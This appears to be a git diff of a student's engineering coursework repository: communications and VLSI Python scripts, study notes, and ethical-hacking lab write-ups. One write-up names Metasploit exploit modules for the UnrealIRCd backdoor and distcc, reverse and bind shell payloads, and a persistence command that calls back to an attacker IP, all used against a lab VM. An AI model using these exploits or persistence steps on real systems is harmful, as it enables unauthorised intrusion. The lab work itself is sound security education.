f_s = 4*max(f_1, f_2)
|
||||
T_s = 1/f_s
|
||||
T_0 = 1/min(f_1, f_2)
|
||||
|
||||
t = np.arange(0,T_0,T_s)
|
||||
|
||||
t = t[np.argmin(m(t))]
|
||||
print("Sampling method:", t, m(t))
|
||||
return t
|
||||
|
||||
if __name__ == '__main__':
|
||||
newton_method(0.1)
|
37
7th-Semester-Fall-2024/ECOMMS/exams/exam-1/problem-2.py
Normal file
@ -0,0 +1,37 @@
|
||||
import numpy as np
|
||||
import scipy as sp
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
A_c = 1
|
||||
|
||||
f_1 = 500
|
||||
T_1 = 1/f_1
|
||||
omega_1 = 2*np.pi*f_1
|
||||
|
||||
f_c = 20000
|
||||
T_c = 1/f_c
|
||||
omega_c = 2*np.pi*f_c
|
||||
|
||||
def m(t):
|
||||
return 2*np.cos(2*omega_1*t) + 3*np.cos(3*omega_1*t)
|
||||
|
||||
def s(t):
|
||||
return A_c*m(t)*np.cos(omega_c*t)
|
||||
|
||||
f_s = 40*f_c
|
||||
T_s = 1/f_s
|
||||
t = np.arange(0,T_1,T_s)
|
||||
|
||||
plt.plot(t,s(t))
|
||||
plt.plot(t,m(t))
|
||||
plt.show()
|
||||
|
||||
S = sp.fft.fft(s(t))[35:45]
|
||||
f = t*f_s/T_1
|
||||
f = f[35:45]
|
||||
for i in range(len(f)):
|
||||
print(f[i], S[i].real)
|
||||
|
||||
plt.stem(f,S.real/1600)
|
||||
plt.show()
|
||||
|
BIN
7th-Semester-Fall-2024/ECOMMS/homework/homework-2/HW 2.pdf
Normal file
BIN
7th-Semester-Fall-2024/ECOMMS/homework/homework-2/combined.pdf
Normal file
@ -0,0 +1,56 @@
|
||||
# ECOMMS Homework 2 - Aidan Sharpe
|
||||
|
||||
## Problem 1
|
||||
```python
|
||||
import numpy as np
|
||||
|
||||
f_c = 1250
|
||||
f_m = 125
|
||||
A_c = 10
|
||||
a = 1
|
||||
|
||||
def g(t):
|
||||
return A_c * (1 + a*(0.2*np.cos(2*np.pi*f_m*t) + 0.5*np.sin(2*np.pi*f_c*t)))
|
||||
|
||||
# First derivative of g(t)
|
||||
def dg_dt(t):
|
||||
return -0.2*2*f_m*np.pi*A_c*a*np.sin(2*np.pi*f_m*t) \
|
||||
+ 2*np.pi*0.5*f_c*A_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# Second derivative of g(t)
|
||||
def ddg_dtt(t):
|
||||
return -0.2*(2*np.pi*f_m)**2*A_c*a*np.cos(2*np.pi*f_m*t) \
|
||||
- 0.5*(2*np.pi*f_c)**2*A_c*a*np.sin(2*np.pi*f_c*t)
|
||||
|
||||
# Use Newton's method to find the maximum of the function
|
||||
def newton_method(t):
|
||||
for i in range(10):
|
||||
t = t - dg_dt(t)/ddg_dtt(t)
|
||||
print("Newton method:", t, np.max(g(t)))
|
||||
return np.max(g(t))
|
||||
|
||||
def dc_dt(t):
|
||||
return A_c*a*np.pi*f_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# Sample g(t) at the maxima and minima of the carrier signal
|
||||
def sample_method():
|
||||
samples = f_c / f_m
|
||||
n = np.arange(samples)
|
||||
t = (2*n + 1) / (4*f_c)
|
||||
t = t[np.argmax(g(t))]
|
||||
print("Sampling method:", t, g(t))
|
||||
return t
|
||||
|
||||
if __name__ == '__main__':
|
||||
t_max = sample_method()
|
||||
A_max = newton_method(t_max)
|
||||
a_coeff = (A_max - A_c) / A_c
|
||||
print("Value of a where positive modulation is 90%:", 0.9/a_coeff)
|
||||
```
|
||||
|
||||
### Sampling Method
|
||||
$t_max = 0.0002$, $g_max = 16.9754$
|
||||
### Newton Method
|
||||
$t_max = 0.000199206$, $g_max = 16.9755$
|
||||
|
||||
Positive modulation is 90% when $a=1.2902$
|
BIN
7th-Semester-Fall-2024/ECOMMS/homework/homework-2/problem-1.pdf
Normal file
@ -0,0 +1,42 @@
|
||||
import numpy as np
|
||||
|
||||
f_c = 1250
|
||||
f_m = 125
|
||||
A_c = 10
|
||||
a = 1
|
||||
|
||||
def g(t):
|
||||
return A_c * (1 + a*(0.2*np.cos(2*np.pi*f_m*t) + 0.5*np.sin(2*np.pi*f_c*t)))
|
||||
|
||||
# first derivative of g(t)
|
||||
def dg_dt(t):
|
||||
return -0.2*2*f_m*np.pi*A_c*a*np.sin(2*np.pi*f_m*t) + 2*np.pi*0.5*f_c*A_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# second derivative of g(t)
|
||||
def ddg_dtt(t):
|
||||
return -0.2*(2*np.pi*f_m)**2*A_c*a*np.cos(2*np.pi*f_m*t) - 0.5*(2*np.pi*f_c)**2*A_c*a*np.sin(2*np.pi*f_c*t)
|
||||
|
||||
# use Newton's method to find the maximum of the function
|
||||
def newton_method(t):
|
||||
for i in range(10):
|
||||
t = t - dg_dt(t)/ddg_dtt(t)
|
||||
print("Newton method:", t, np.max(g(t)))
|
||||
return np.max(g(t))
|
||||
|
||||
def dc_dt(t):
|
||||
return A_c*a*np.pi*f_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# Sample g(t) at the maxima and minima of the carrier signal
|
||||
def sample_method():
|
||||
samples = f_c / f_m
|
||||
n = np.arange(samples)
|
||||
t = (2*n + 1) / (4*f_c)
|
||||
t = t[np.argmax(g(t))]
|
||||
print("Sampling method:", t, g(t))
|
||||
return t
|
||||
|
||||
if __name__ == '__main__':
|
||||
t_max = sample_method()
|
||||
A_max = newton_method(t_max)
|
||||
a_coeff = (A_max - A_c) / A_c
|
||||
print("Value of a where positive modulation is 90%:", 0.9/a_coeff)
|
@ -0,0 +1,33 @@
|
||||
import numpy as np
|
||||
|
||||
f_m = 0.2
|
||||
f_c = 2*f_m
|
||||
A_c = 1
|
||||
a = 1
|
||||
|
||||
def g(t):
|
||||
return A_c*np.cos(2*np.pi*f_m*t) + A_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# first derivative of g(t)
|
||||
def dg_dt(t):
|
||||
return -(2*np.pi*f_m)*A_c*np.sin(2*np.pi*f_m*t) + -(2*np.pi*f_c)*A_c*np.sin(2*np.pi*f_c*t)
|
||||
|
||||
# second derivative of g(t)
|
||||
def ddg_dtt(t):
|
||||
return -(2*np.pi*f_m)**2*A_c*np.cos(2*np.pi*f_m*t) + -(2*np.pi*f_c)**2*A_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
# use Newton's method to find the maximum of the function
|
||||
def newton_method(t):
|
||||
for i in range(3):
|
||||
t = t - dg_dt(t)/ddg_dtt(t)
|
||||
print(f"Iteration {i+1}: {t}\t{g(t)}")
|
||||
|
||||
def dc_dt(t):
|
||||
return A_c*a*np.pi*f_c*np.cos(2*np.pi*f_c*t)
|
||||
|
||||
if __name__ == '__main__':
|
||||
T_c = 1/f_c
|
||||
t_min = T_c/2
|
||||
newton_method(t_min)
|
||||
|
||||
newton_method(0)
|
@ -0,0 +1,24 @@
|
||||
import numpy as np
|
||||
import scipy as sp
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
f_c = 1
|
||||
f_m = f_c/4
|
||||
|
||||
omega_m = 2*np.pi*f_m
|
||||
omega_c = 2*np.pi*f_c
|
||||
|
||||
T_c = f_c
|
||||
|
||||
t = np.arange(0,10,T_c/10)
|
||||
m = np.cos(omega_m * t)
|
||||
|
||||
plt.plot(t, m)
|
||||
plt.show()
|
||||
|
||||
D_p = np.pi
|
||||
D_f = np.pi
|
||||
|
||||
S_p = np.cos(omega_c + D_p*m)
|
||||
plt.plot(t,S_p)
|
||||
plt.show()
|
@ -0,0 +1,26 @@
|
||||
import numpy as np
|
||||
import scipy as sp
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
# Modulation index
|
||||
beta = 2.0
|
||||
|
||||
# Number of impulses is 2*(beta+1) + 1.
|
||||
# For beta=2, the number of impulses is 3 either side of the center frequency
|
||||
# plus 1 for the center frequency, for a total of 7 impulses.
|
||||
|
||||
# Message frequency
|
||||
f_m = 15E+3
|
||||
|
||||
# Transmission bandwidth
|
||||
B_T = 2*(beta+1)*f_m
|
||||
|
||||
n = np.arange(0,10,1)
|
||||
bessel_values = sp.special.jv(n,beta)
|
||||
bessel_power = np.cumsum(bessel_values)
|
||||
plt.stem(n, bessel_values)
|
||||
plt.plot(n, bessel_power)
|
||||
plt.hlines(0.98*bessel_power[-1], xmin=n[0], xmax=n[-1])
|
||||
plt.show()
|
||||
|
||||
#
|
BIN
7th-Semester-Fall-2024/ECOMMS/labs/lab1/ECOMMS_Lab_1.pdf
Normal file
BIN
7th-Semester-Fall-2024/ECOMMS/labs/lab1/Lab1_Part1.png
Normal file
After Width: | Height: | Size: 49 KiB |
BIN
7th-Semester-Fall-2024/ECOMMS/labs/lab1/Lab1_Part1b.png
Normal file
After Width: | Height: | Size: 68 KiB |
BIN
7th-Semester-Fall-2024/ECOMMS/labs/lab1/Rubric Speech .pdf
Normal file
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 59 KiB |
@ -1,5 +1,5 @@
|
||||
import numpy as np
|
||||
import sounddevice as sd
|
||||
#import sounddevice as sd
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
def normalize_signal(signal):
|
||||
@ -10,12 +10,37 @@ def normalize_signal(signal):
|
||||
normalized_signal -= 1
|
||||
return normalized_signal
|
||||
|
||||
snr = 10
|
||||
|
||||
f = 466.16
|
||||
f_s = 16000
|
||||
T_0 = 1/f
|
||||
|
||||
t = np.arange(0,0.01,1/f_s)
|
||||
t = np.arange(0,T_0,1/f_s)
|
||||
s = 0.5 * np.sin(2*np.pi*f*t)
|
||||
|
||||
sd.play(normalize_signal(s), samplerate=f_s, blocking=True)
|
||||
# Convert signal covariance
|
||||
var_s = np.cov(s)
|
||||
|
||||
# Calculate required noise variance
|
||||
var_snr_10 = var_s/(10**(10/10))
|
||||
var_snr_20 = var_s/(10**(20/10))
|
||||
var_snr_30 = var_s/(10**(30/10))
|
||||
|
||||
# Genearate noise
|
||||
noise_snr_10 = (var_snr_10**0.5) * np.random.randn(len(s))
|
||||
noise_snr_20 = (var_snr_20**0.5) * np.random.randn(len(s))
|
||||
noise_snr_30 = (var_snr_30**0.5) * np.random.randn(len(s))
|
||||
|
||||
# Add signal and noise
|
||||
m_snr_10 = s+noise_snr_10
|
||||
m_snr_20 = s+noise_snr_20
|
||||
m_snr_30 = s+noise_snr_30
|
||||
|
||||
plt.plot(t,s, label="Pure A$\sharp$ Tone")
|
||||
plt.plot(t,m_snr_10, label="Corrupted A$\sharp$ Tone (SNR=10dB)")
|
||||
plt.plot(t,m_snr_20, label="Corrupted A$\sharp$ Tone (SNR=20dB)")
|
||||
plt.plot(t,m_snr_30, label="Corrupted A$\sharp$ Tone (SNR=30dB)")
|
||||
plt.legend()
|
||||
plt.title("Pure and Corrupted A$\sharp$ Tones")
|
||||
plt.xlabel("Time (s)")
|
||||
plt.show()
|
||||
#sd.play(normalize_signal(s), samplerate=f_s, blocking=True)
|
||||
|
33
7th-Semester-Fall-2024/ECOMMS/labs/lab1/part2.py
Normal file
@ -0,0 +1,33 @@
|
||||
import numpy as np
|
||||
import matplotlib.pyplot as plt
|
||||
import scipy as sp
|
||||
|
||||
f_s = 8E3
|
||||
|
||||
T_s = 1/f_s
|
||||
t = np.arange(-5,5,T_s)
|
||||
|
||||
f = np.linspace(0,f_s,len(t))
|
||||
omega = 2*np.pi*f
|
||||
|
||||
def u(t):
|
||||
return np.heaviside(t, 1)
|
||||
|
||||
w = u(t) - u(t-0.6) + u(t-0.7) - u(t-1)
|
||||
|
||||
W_c = 1j*(np.exp(-1j*omega*0.6) + np.exp(-1j*omega) - np.exp(-1j*omega*0.7) - 1)/omega
|
||||
W_d = sp.fft.fft(w)
|
||||
|
||||
print(W_c[:10])
|
||||
print(W_d[:10])
|
||||
|
||||
|
||||
plt.plot(t,w)
|
||||
plt.show()
|
||||
|
||||
|
||||
plt.subplot(211)
|
||||
plt.plot(W_c)
|
||||
plt.subplot(212)
|
||||
plt.plot(W_d)
|
||||
plt.show()
|
54
7th-Semester-Fall-2024/ECOMMS/labs/lab1/part3.py
Normal file
@ -0,0 +1,54 @@
|
||||
import numpy as np
|
||||
import matplotlib.pyplot as plt
|
||||
import scipy as sp
|
||||
|
||||
f_m = 5E3
|
||||
f_c = 25E3
|
||||
|
||||
f_s = 50*f_c
|
||||
|
||||
T_m = 1/f_m
|
||||
T_c = 1/f_c
|
||||
T_s = 1/f_s
|
||||
|
||||
A_c = 10
|
||||
A_m = 1
|
||||
|
||||
t = np.arange(0,2*T_m,T_s)
|
||||
f = t*f_s/(2*T_m)
|
||||
|
||||
# ===== AM =====
|
||||
s = A_c * (1 + A_m*np.cos(2*np.pi*f_m*t)) * np.cos(2*np.pi*f_c*t)
|
||||
|
||||
var_s = np.cov(s)
|
||||
|
||||
SNR = 10
|
||||
var_snr = var_s/(10**(SNR/10))
|
||||
noise_snr = (var_snr**0.5) * np.random.randn(len(s))
|
||||
m = s+noise_snr
|
||||
|
||||
S = sp.fft.fft(s)
|
||||
M = sp.fft.fft(m)
|
||||
|
||||
plt.subplot(211)
|
||||
plt.stem(f, S)
|
||||
plt.subplot(212)
|
||||
plt.stem(f, M)
|
||||
plt.show()
|
||||
|
||||
# ===== FM =====
|
||||
beta_f = 10
|
||||
s = A_c*np.cos(2*np.pi*f_c*t + beta_f*A_m*np.sin(2*np.pi*f_m*t))
|
||||
|
||||
var_snr = var_s/(10**(SNR/10))
|
||||
noise_snr = (var_snr**0.5) * np.random.randn(len(s))
|
||||
m = s+noise_snr
|
||||
|
||||
S = sp.fft.fft(s)
|
||||
M = sp.fft.fft(m)
|
||||
|
||||
plt.subplot(211)
|
||||
plt.stem(f, S)
|
||||
plt.subplot(212)
|
||||
plt.stem(f, M)
|
||||
plt.show()
|
BIN
7th-Semester-Fall-2024/ECOMMS/labs/lab1/part_3_spectrum.png
Normal file
After Width: | Height: | Size: 19 KiB |
BIN
7th-Semester-Fall-2024/ECOMMS/lectures/lecture_5.pdf
Normal file
BIN
7th-Semester-Fall-2024/Engineering-Cybersecurity/NMAP Lab-1.docx
Normal file
@ -0,0 +1,49 @@
|
||||
# Ethical Hacking in ECE Assignment 2 - Aidan Sharpe
|
||||
|
||||
## Assignment Tasks
|
||||
### Task 1
|
||||
Create a directory named `ethics_lab` and manage files within it using commands like `mkdir`, `cd`, `mv`, and `touch`.
|
||||
|
||||

|
||||
Create a directory called `ethics_lab` using the `mkdir` command. Then navigate to `ethics_lab` using `cd`. Create three files (`file1`, `file2`, and `file3`) using the `touch` command. Show the contents of the `ethics_lab` directory using `ls`. Write the text "hello" into `file3` using echo and the write to file symbol (`>`). Print the contents of `file3` to the terminal using the `cat` command.
|
||||
### Task 2
|
||||
Monitor and manage processes on your system using tools like `ps`, `top`, and `kill`. Identify and terminate a process.
|
||||
|
||||

|
||||
|
||||
View an active, sorted list of all tasks running on the system using `top`.
|
||||
|
||||

|
||||
|
||||
List all tasks running on the system using `ps -e` then pass the output into `grep` and filter for the text "fox". This shows the information for the firefox-esr task. The number at the beginning of the line is the process identifier, and the process can be ended by executing `kill` followed by that process ID.
|
||||
|
||||
### Task 3
|
||||
Use `ifconfig`/`ip a`, `ping`, and `netstat`.
|
||||
|
||||

|
||||
|
||||
Running `ip a` shows IP address information. For example, we can see that the current IP address is `192.168.56.101`. We also ran this command on another virtual machine and found that its IP address was `192.168.56.102`, so we can ping it using `ping` to see if a connection can be established. Running`netstat` shows a list of network connections.
|
||||
|
||||
### Task 4
|
||||
Set up a second VM and connect to it using `ssh`.
|
||||
|
||||

|
||||
|
||||
Prior to running the command, a host configuration was created called `msf`. This contained the known ip address and the preferred key algorithm. The command `ssh msfadmin@msf` creates a login tunnel for the user account `msfadmin` between the host and remote system.
|
||||
|
||||
### Task 5
|
||||
Configure the firewall using `ufw`. Enable the firewall and allow SSH traffic.
|
||||
|
||||

|
||||
|
||||
## Reflection
|
||||
Learning basic Linux command is an important skill for ethical hacking for multiple reasons.
|
||||
|
||||
### Reason 1 - Most Ethical Hacking Tools Run on Linux
|
||||
Most ethical hacking tools run on or are designed specifically for Linux machines. Knowing how to better use the machines that your tools are running on is always advantageous.
|
||||
|
||||
### Reason 2 - Most Servers Run Linux
|
||||
Since over 90% of the servers on the internet run Linux, that means that most databases (the places where pretty much all valuable information is stored) are hosted on Linux-based servers. By being familiar with basic Linux commands, navigating remote server file systems becomes a much easier task.
|
||||
|
||||
### Skills Gained from This Assignment
|
||||
One skill I learned from this assignment is forcing a specific key algorithm for different hosts. While I have used SSH many times in the past, I was not aware that different machines restricted the type of keys used. Frankly, I thought they all used the same type of key. After completing this exercises, I am now practiced in the configuration of host key algorithms.
|
After Width: | Height: | Size: 77 KiB |
After Width: | Height: | Size: 69 KiB |
After Width: | Height: | Size: 193 KiB |
After Width: | Height: | Size: 98 KiB |
After Width: | Height: | Size: 74 KiB |
After Width: | Height: | Size: 167 KiB |
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 135 KiB |
@ -0,0 +1,36 @@
|
||||
# Ethical Hacking Assignment 3 - Aidan Sharpe
|
||||
|
||||
## Task 1 - Network Configuration Between Kali and Metasploitable
|
||||
Ensure proper network connectivity between the attacker (Kali Linux) and victim (Metasploitable) virtual machines.
|
||||
|
||||
1. Configure both Kali Linux and Metasploitable VMs to use host-only adapters
|
||||
|
||||

|
||||

|
||||
2. Verify the network connectivity by pinging Metasploitable from Kali Linux
|
||||
|
||||

|
||||
|
||||
## Task 2 - Nmap Scan for Open Ports and Vulnerabilities
|
||||
Use `nmap` to perform a vulnerability scan of the metasploitable machine.
|
||||

|
||||
|
||||
## Task 3 - Installing and Launching Armitage
|
||||
Install Armitage and set it up to connect with the Metasploit framework.
|
||||
|
||||

|
||||
|
||||
## Task 4 - Perform a Vulnerability Scan with Armitage
|
||||
Use Armitage to scan the Metasploitable machine and identify potential vulnerabilities.
|
||||
|
||||

|
||||
|
||||
## Task 5 - Exploiting a Vulnerability Using Armitage
|
||||
Use Armitage to exploit a vulnerability on the Metasploitable machine and gain access.
|
||||
|
||||

|
||||
|
||||
## Reflection
|
||||
The `nmap` tool is suprisingly easy, yet very powerful. After using it on this assignment, I used it to learn about vulnerabilities on my home server. I found that I had ports 80, 443, and 22 open. I did not realize that I had left it open, and I couldn't remembery why I had it open in the first place. I then used a remote network configuration tool to close port 80. After running `nmap` again, I saw that I had successfully closed the port.
|
||||
|
||||
I really enjoyed using Armitage as an easy introduction to the Metasploit Framework. At this point, I really only plan to use it as a learning tool to get used to deploying attacks and scanning networks. Today, for example, I learned about scanning IP ranges. My next step is to switch to the metasploit CLI.
|
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 84 KiB |
After Width: | Height: | Size: 83 KiB |
After Width: | Height: | Size: 202 KiB |
After Width: | Height: | Size: 56 KiB |
@ -0,0 +1,51 @@
|
||||
# Ethical Hacking Assignment 4 - Aidan Sharpe
|
||||
|
||||
## Network Configuration
|
||||
To establish a connection between the two boxes, proper network configuration is required. The virtual machines (attacker and victim) were set to 'Host-Only Adapter' as seen below.
|
||||
|
||||

|
||||
|
||||
Attacker Network Configuration
|
||||
|
||||

|
||||
|
||||
|
||||
Victim Network Configuration
|
||||
|
||||
To confirm a proper setup, the attacker pinged the victim and viewed its open ports using the `ping` and `nmap` commands on the victim's IP address (`192.168.56.104`).
|
||||
|
||||

|
||||
|
||||
|
||||
## Exploiting UnrealIRCd 3.2.8.1 Backdoor
|
||||
Now that a proper connection has been confirmed, we can begin exploiting the victim machine. First we started `msfconsole` as root. The exploit is chosen using `use exploit/unix/irc/unreal_ircd_3281_backdoor`. Then the remote and local host variables (RHOST and LHOST) are set to the victim and attacker IP addresses respectively. Next, a payload is chosen. In our case, we used the `cmd/unix/reverse` payload to establish a remote shell. After setting the local port (LPORT) to 4444, we began the exploit.
|
||||
|
||||

|
||||
|
||||
Unfortunately, while the exploit completed, no remote shell could be started. Looking into the options, no issues were found. Multiple payloads were tried, each yielding the same error message: "Exploit completed, but no session was created." That is until we deployed the payload, `cmd/unix/bind_perl`. Finally, we established a remote shell connection!
|
||||
|
||||

|
||||
|
||||
## Exploiting the DistCC Daemon
|
||||
The next exploit tested was the DistCC Daemon. Switching exploits in `msfconsole` is as easy as telling it to use the name of the new exploit. In our case, with the DistCC Daemon, we used `use exploit/unix/misc/distcc_exec`. The LHOST, RHOST, and LPORT were set to be the same as before. Finally, a payload was selected. The default was `cmd/unix/reverse`, so we tested that first. Unfortunately, we ran into the same error as before "Exploit completed, but no session was created." Again, using `cmd/unix/bind_perl` as the payload instead of `cmd/unix/reverse` fixed the issue, and we successfully opened a remote shell.
|
||||
|
||||

|
||||
|
||||
## Post Exploitation Activities
|
||||
Now that a remote shell connection is established, we must gather information about and maintain our connection to the victim. We opted to learn about user and active process information.
|
||||
|
||||

|
||||
|
||||
While commands like `ps` and `uname -a` work in the remote shell, Meterpreter specific commands like `hashdump` and `migrate` did not work.
|
||||
|
||||
## Persistence
|
||||
Persistence is used to easily reconnect to the victim, even after reboots. Running the command `run persistence -U -i 60 -p 4444 -r 192.166.56.101` theoretically enables this behavior. Unfortunately, the shell provided no feedback upon execution, and upon restarting Metasploitable, there were no sessions to attach to.
|
||||
|
||||

|
||||
|
||||
## Reflection
|
||||
Hacking is finicky, I mean *super* finicky. Success with identical setups can vary, and slightly different environments can have drastically different results. Even following the setup to the tee can create non-functional results.
|
||||
|
||||
Fortunately, however, there are always a handful of potential solutions if one method does not work. For example, attempting to use the `cmd/unix/reverse` was unsuccessful, but that was just one of many potential payloads. Eventually, with enough trial and error, success may be found.
|
||||
|
||||
Even though a successful attack was launched, the shell environment was different than expected. For example, the instructions put the attacker in a Meterpreter environment, but the successful attack put the user in a `cmd/unix` shell environment instead. While Meterpreter provides some really useful tools, the `cmd/unix` shell is much more bare bones.
|
After Width: | Height: | Size: 100 KiB |
After Width: | Height: | Size: 211 KiB |
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 135 KiB |
After Width: | Height: | Size: 112 KiB |
After Width: | Height: | Size: 32 KiB |
After Width: | Height: | Size: 8.6 KiB |
After Width: | Height: | Size: 58 KiB |
After Width: | Height: | Size: 101 KiB |
After Width: | Height: | Size: 81 KiB |
7
7th-Semester-Fall-2024/IoT-Hardware/notes/chaos_track.md
Normal file
@ -0,0 +1,7 @@
|
||||
No way to state a hypothesis about what happened. You can only "end turn".
|
||||
|
||||
Built-in time limit that automatically ends the session.
|
||||
|
||||
Way to start next session from the previous without a delay.
|
||||
|
||||
Very often a reasonable response option or options at the beginning. Very nice to see that what I type is being interpreted well.
|
20
7th-Semester-Fall-2024/IoT-Hardware/notes/midterm.md
Normal file
@ -0,0 +1,20 @@
|
||||
# Midterm Review
|
||||
## Cyber Physical
|
||||
- Interacts with real world
|
||||
- Computes
|
||||
- Networked
|
||||
|
||||
## Managing and Securing IoT Devices
|
||||
### Technical
|
||||
- Device ID
|
||||
- Device Configuration
|
||||
- Data Protection
|
||||
- Logical Access to Interfaces
|
||||
- Software Updates
|
||||
- Awareness of Cybersecurity State
|
||||
|
||||
### Non-Technical
|
||||
- Documentation
|
||||
- Information and Query Reception
|
||||
- Information Dissemination
|
||||
- Education and Awareness
|
50
7th-Semester-Fall-2024/VLSI/exams/exam-1/2.py
Normal file
@ -0,0 +1,50 @@
|
||||
from math import log
|
||||
|
||||
L_n = 0.6E-6
|
||||
L_p = 0.6E-6
|
||||
K_n = 122E-6
|
||||
K_p = 61E-6
|
||||
C_ox = 33E-4
|
||||
V_tn = 0.7
|
||||
V_tp = -0.7
|
||||
|
||||
# 2a
|
||||
V_gs = 5
|
||||
V_ds = 5
|
||||
V_dsat = V_gs - V_tn
|
||||
I_ds = 2.82E-3
|
||||
|
||||
w_n = (2*I_ds*L_n) / (K_n * V_dsat**2)
|
||||
print("2a:", w_n)
|
||||
|
||||
# 2b
|
||||
w_p = (2*I_ds*L_p) / (K_p * V_dsat**2)
|
||||
print("2b:", w_p)
|
||||
# 2c
|
||||
C_g = C_ox*w_n*L_n
|
||||
C_equiv = 12*C_g + 20E-15
|
||||
print("C_g:", C_g)
|
||||
print("C_equiv:", C_equiv)
|
||||
|
||||
beta = K_n*w_n/L_n
|
||||
print("beta:", beta)
|
||||
|
||||
I_sat = beta * (V_gs - V_tn)**2 / 2
|
||||
print("I_sat:", I_sat)
|
||||
t_sat = V_tn*C_equiv / I_sat
|
||||
print("t_sat:", t_sat)
|
||||
|
||||
R = 10E3
|
||||
print("R:", R)
|
||||
tau = R*C_equiv
|
||||
print("tau:", tau)
|
||||
|
||||
# v(t) = 0.5 = 4.3e^(-t/tau)
|
||||
t_lin = -tau*log(0.5/4.3)
|
||||
print("t_lin:", t_lin)
|
||||
t = t_lin + t_sat
|
||||
print("t:", t)
|
||||
|
||||
# 2e
|
||||
t_pd = R*C_equiv
|
||||
print("t_pd:", t_pd)
|
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/2d-cmos.jpg
Normal file
After Width: | Height: | Size: 59 KiB |
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/2d-pulldown.jpg
Normal file
After Width: | Height: | Size: 126 KiB |
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/2d-pullup.jpg
Normal file
After Width: | Height: | Size: 94 KiB |
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/2d-rc.jpg
Normal file
After Width: | Height: | Size: 94 KiB |
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/2e-sketch.jpg
Normal file
After Width: | Height: | Size: 90 KiB |
49
7th-Semester-Fall-2024/VLSI/exams/exam-1/:wq
Normal file
@ -0,0 +1,49 @@
|
||||
from math import log
|
||||
|
||||
L_n = 0.6E-6
|
||||
L_p = 0.6E-6
|
||||
K_n = 122E-6
|
||||
K_p = 61E-6
|
||||
C_ox = 33E-4
|
||||
V_tn = 0.7
|
||||
V_tp = -0.7
|
||||
|
||||
# 2a
|
||||
V_gs = 5
|
||||
V_ds = 5
|
||||
V_dsat = V_gs - V_tn
|
||||
I_ds = 2.82E-3
|
||||
|
||||
w_n = (2*I_ds*L_n) / (K_n * V_dsat**2)
|
||||
print("2a:", w_n)
|
||||
|
||||
# 2b
|
||||
w_p = (2*I_ds*L_p) / (K_p * V_dsat**2)
|
||||
print("2b:", w_p)
|
||||
# 2c
|
||||
C_g = C_ox*w_n*L_n
|
||||
C_equiv = 12*C_g + 20E-15
|
||||
print("C_g:", C_g)
|
||||
print("C_equiv:", C_equiv)
|
||||
|
||||
beta = K_n*w_n/L_n
|
||||
print("beta:", beta)
|
||||
|
||||
I_sat = beta * (V_gs - V_tn)**2 / 2
|
||||
print("I_sat:", I_sat)
|
||||
t_sat = V_tn*C_equiv / I_sat
|
||||
print("t_sat:", t_sat)
|
||||
|
||||
R = 1 / (K_n * (w_n/L_n) * (V_gs - V_tn))
|
||||
print("R:", R)
|
||||
tau = R*C_equiv
|
||||
print("tau:", tau)
|
||||
|
||||
# v(t) = 0.5 = 4.3e^(-t/tau)
|
||||
t_lin = -tau*log(0.5/4.3)
|
||||
print("t_lin:", t_lin)
|
||||
t = t_lin + t_sat
|
||||
print("t:", t)
|
||||
# 2d
|
||||
|
||||
# 2e
|
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/F24 Exam1_v1.pdf
Normal file
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/SunE1.pdf
Normal file
78
7th-Semester-Fall-2024/VLSI/exams/exam-1/exam-1.md
Normal file
@ -0,0 +1,78 @@
|
||||
# VLSI Exam 1 Section 1 - Aidan Sharpe
|
||||
|
||||
## Problem 1
|
||||
Aluminum is a suitable material when access to polysilicon is restricted. Restrictions may be in terms of access or the cost of the material. Academic institutions, for example, would not have access to polysilicon.
|
||||
|
||||
## Problem 2
|
||||
```python
|
||||
L_n = 0.6E-6
|
||||
L_p = 0.6E-6
|
||||
|
||||
K_n = 122E-6
|
||||
K_p = 61E-6
|
||||
|
||||
C_ox = 33E-4
|
||||
|
||||
V_tn = 0.7
|
||||
V_tp = -0.7
|
||||
|
||||
V_gs = 5
|
||||
V_ds = 5
|
||||
|
||||
V_dsat = V_gs - V_tn
|
||||
|
||||
I_ds = 2.82E-3
|
||||
```
|
||||
|
||||
### 2a
|
||||
```python
|
||||
w_n = (2*I_ds*L_n) / (K_n * V_dsat**2)
|
||||
```
|
||||
$W_n = 1.5[\mu\text{m}]$
|
||||
|
||||
### 2b
|
||||
```python
|
||||
w_p = (2*I_ds*L_p) / (K_p * V_dsat**2)
|
||||
```
|
||||
$W_p = 3[\mu\text{m}]$
|
||||
|
||||
|
||||
### 2c
|
||||
Inverter input capacitance: 3C
|
||||
|
||||
Fanout capacitance 9C
|
||||
|
||||
Total load capacitance: 12C + 22$\mu$F
|
||||
```python
|
||||
C_g = C_ox*w_n*L_n
|
||||
C_equiv = 12*C_g + 20E-15
|
||||
beta = K_n*w_n/L_n
|
||||
I_sat = beta * (V_gs - V_tn)**2 / 2
|
||||
t_sat = V_tn*C_equiv / I_sat
|
||||
R = 10E3
|
||||
tau = R*C_equiv
|
||||
t_lin = -tau*log(0.5/4.3)
|
||||
t = t_lin + t_sat
|
||||
```
|
||||
|
||||
$t_\text{sat} = 13.81[\text{ps}]$
|
||||
|
||||
$t_\text{lin} = 1.19[\text{ns}]$
|
||||
|
||||
$t = 1.21[\text{ns}]$
|
||||
|
||||
### 2d
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
### 2e
|
||||

|
||||
Since there is only one capacitor node, the Elmore delay and the RC delay are the same.
|
||||
|
||||
For both:
|
||||
```python
|
||||
t_pd = R*C_equiv
|
||||
```
|
||||
